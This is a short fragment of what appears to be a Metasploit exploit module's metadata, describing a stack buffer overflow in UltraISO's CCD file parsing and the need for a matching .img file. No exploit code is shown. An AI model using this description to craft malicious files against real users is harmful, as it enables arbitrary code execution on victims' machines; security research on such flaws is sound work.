'Name' => 'UltraISO CCD File Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EZB Systems, Inc's
UltraISO. When processing .CCD files, data is read from file into a
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
can occur. Attackers can execute arbitrary code by convincing their victim
to open an CCD file.
NOTE: A file with the same base name, but the extension of "img" must also
exist. Opening either file will trigger the vulnerability, but the files must
both exist.
